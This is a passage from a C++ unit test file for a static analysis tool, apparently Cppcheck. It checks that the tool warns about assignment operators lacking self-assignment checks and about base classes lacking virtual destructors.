errout_str());\n\n }\n\n void operatorEqToSelf2() {\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { if (&b != this) { } return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char *s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:13]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n // this test has an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { if (&b != this) { } return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test doesn't have an assignment test but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test and has it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" if (&b != this)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test needs an assignment test but doesn't have it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\");\n ASSERT_EQUALS(\"[test.cpp:11:14]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf3() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a) { return *this; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A : public B, public C\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf4() {\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &b) { return *this; }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &b)\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance so there is no trivial way to test for self assignment but doesn't need it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b) { return *this; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // this test has multiple inheritance and needs an assignment test but there is no trivial way to test for it\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" class B : public C, public D\\n\"\n \" {\\n\"\n \" public:\\n\"\n \" char * s;\\n\"\n \" B & operator=(const B &);\\n\"\n \" };\\n\"\n \"};\\n\"\n \"A::B & A::B::operator=(const A::B &b)\\n\"\n \"{\\n\"\n \" free(s);\\n\"\n \" s = strdup(b.s);\\n\"\n \" return *this;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf5() {\n // ticket # 1233\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((&a!=this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if((this!=&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(!(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(false==(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(&a==this))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" char *s;\\n\"\n \" A & operator=(const A &a);\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" if(true!=(this==&a))\\n\"\n \" {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" }\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkOpertorEqToSelf(\n \"struct A {\\n\"\n \" char *s;\\n\"\n \" A& operator=(const B &b);\\n\"\n \"};\\n\"\n \"A& A::operator=(const B &b) {\\n\"\n \" free(s);\\n\"\n \" s = strdup(a.s);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf6() {\n // ticket # 1550\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete [] data;\\n\"\n \" data = new char[strlen(a.data) + 1];\\n\"\n \" strcpy(data, a.data);\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & operator=(const A &a);\\n\"\n \"private:\\n\"\n \" char * data;\\n\"\n \"};\\n\"\n \"A & A::operator=(const A &a)\\n\"\n \"{\\n\"\n \" delete data;\\n\"\n \" data = new char;\\n\"\n \" *data = *a.data;\\n\"\n \" return *this;\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:8:8]: (warning) 'operator=' should check for assignment to self to avoid problems with dynamic memory. [operatorEqToSelf]\\n\", errout_str());\n }\n\n void operatorEqToSelf7() {\n checkOpertorEqToSelf(\n \"class A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" A & assign(const A & a)\\n\"\n \" {\\n\"\n \" return *this;\\n\"\n \" }\\n\"\n \" A & operator=(const A &a)\\n\"\n \" {\\n\"\n \" return assign(a);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf8() {\n checkOpertorEqToSelf(\n \"class FMat\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" FMat& copy(const FMat& rhs);\\n\"\n \" FMat& operator=(const FMat& in);\\n\"\n \"};\\n\"\n \"FMat& FMat::copy(const FMat& rhs)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"FMat& FMat::operator=(const FMat& in)\\n\"\n \"{\\n\"\n \" return copy(in);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void operatorEqToSelf9() {\n checkOpertorEqToSelf(\n \"class Foo\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" Foo& operator=(Foo* pOther);\\n\"\n \" Foo& operator=(Foo& other);\\n\"\n \"};\\n\"\n \"Foo& Foo::operator=(Foo* pOther)\\n\"\n \"{\\n\"\n \" return *this;\\n\"\n \"}\\n\"\n \"Foo& Foo::operator=(Foo& other)\\n\"\n \"{\\n\"\n \" return Foo::operator=(&other);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n struct CheckVirtualDestructorOptions\n {\n CheckVirtualDestructorOptions() = default;\n bool inconclusive = false;\n };\n\n // Check that base classes have virtual destructors\n#define checkVirtualDestructor(...) checkVirtualDestructor_(__FILE__, __LINE__, __VA_ARGS__)\n template\n void checkVirtualDestructor_(const char* file, int line, const char (&code)[size], const CheckVirtualDestructorOptions& options = make_default_obj()) {\n const Settings s = settingsBuilder(settings0).certainty(Certainty::inconclusive, options.inconclusive).severity(Severity::warning).build();\n\n // Tokenize..\n SimpleTokenizer tokenizer(s, *this);\n ASSERT_LOC(tokenizer.tokenize(code), file, line);\n\n // Check..\n CheckClass checkClass(&tokenizer, &s, this);\n checkClass.virtualDestructor();\n }\n\n void virtualDestructor1() {\n // Base class not found\n\n checkVirtualDestructor(\"class Derived : public Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Derived : Base { };\\n\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructor2() {\n // Base class doesn't have a destructor\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : private Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkVirtualDestructor(\"class Base { };\\n\"\n \"class Derived : Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #9104\n checkVirtualDestructor(\"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"using namespace std;\\n\"\n \"struct A\\n\"\n \"{\\n\"\n \" A() { cout << \\\"A is constructing\\\\n\\\"; }\\n\"\n \" ~A() { cout << \\\"A is destructing\\\\n\\\"; }\\n\"\n \"};\\n\"\n \" \\n\"\n \"struct Base {};\\n\"\n \" \\n\"\n \"struct Derived : Base\\n\"\n \"{\\n\"\n \" A a;\\n\"\n \"};\\n\"\n \" \\n\"\n \"int main(void)\\n\"\n \"{\\n\"\n \" Base* p = new Derived();\\n\"\n \" delete p;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:1]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor3() {\n // Base class has a destructor, but it's not virtual\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : protected Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { public: ~Derived() { (void)11; } };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor4() {\n // Derived class doesn't have a destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : private Fred, public Base { };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor5() {\n // Derived class has empty destructor => undefined behaviour according to paragraph 3 in [expr.delete]\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() {} };\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived(); }; Derived::~Derived() {}\"\n \"Base *base = new Derived;\\n\"\n \"delete base;\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (error) Class 'Base' which is inherited by class 'Derived' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructor6() {\n // Only report error if base class pointer is deleted that\n // points at derived class\n\n checkVirtualDestructor(\"class Base { public: ~Base(); };\\n\"\n \"class Derived : public Base { public: ~Derived() { (void)11; } };\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorProtected() {\n // Base class has protected destructor, it makes Base *p = new Derived(); fail\n // during compilation time, so error is not possible. => no error\n checkVirtualDestructor(\"class A\\n\"\n \"{\\n\"\n \"protected:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void virtualDestructorInherited() {\n // class A inherits virtual destructor from class Base -> no error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A inherits virtual destructor from struct Base -> no error\n // also notice that public is not given, but destructor is public, because\n // we are using struct instead of class\n checkVirtualDestructor(\"struct Base\\n\"\n \"{\\n\"\n \"virtual ~Base() {}\\n\"\n \"};\\n\"\n \"class A : public Base\\n\"\n \"{\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown Base class -> it could have virtual destructor, so ignore\n checkVirtualDestructor(\"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Virtual destructor is inherited -> no error\n checkVirtualDestructor(\"class Base2\\n\"\n \"{\\n\"\n \"virtual ~Base2() {}\\n\"\n \"};\\n\"\n \"class Base : public Base2\\n\"\n \"{\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // class A doesn't inherit virtual destructor from class Base -> error\n checkVirtualDestructor(\"class Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~Base() {}\\n\"\n \"};\\n\"\n \"class A : private Base\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~A() { }\\n\"\n \"};\\n\"\n \"\\n\"\n \"class B : public A\\n\"\n \"{\\n\"\n \"public:\\n\"\n \" ~B() { int a; }\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:7]: (error) Class 'Base' which is inherited by class 'B' does not have a virtual destructor.\\n\",\n \"\", errout_str());\n }\n\n void virtualDestructorTemplate() {\n checkVirtualDestructor(\"template class A\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" virtual ~A(){}\\n\"\n \"};\\n\"\n \"template class AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~AA(){}\\n\"\n \"};\\n\"\n \"class B : public A, public AA\\n\"\n \"{\\n\"\n \" public:\\n\"\n \" ~B(){int a;}\\n\"\n \"};\\n\"\n \"\\n\"\n \"AA *p = new B; delete p;\");\n ASSERT_EQUALS(\"[test.cpp:9:3]: (error) Class 'AA < double >' which is inherited by class 'B' does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n }\n\n void virtualDestructorInconclusive() {\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\", dinit(CheckVirtualDestructorOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:6]: (warning, inconclusive) Class 'Base' which has virtual members does not have a virtual destructor. [virtualDestructor]\\n\", errout_str());\n\n checkVirtualDestructor(\"class Base {\\n\"\n \"public:\\n\"\n \" ~Base(){}\\n\"\n \" virtual void foo(){}\\n\"\n \"};\\n\"\n \"class Derived : public Base {\\n\"\n \"public:\\n\"\n \" ~Derived() { bar(); }\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" Base * base = new Derived();\\n\"\n \" delete base;\\n\"\n \"}\\n\", 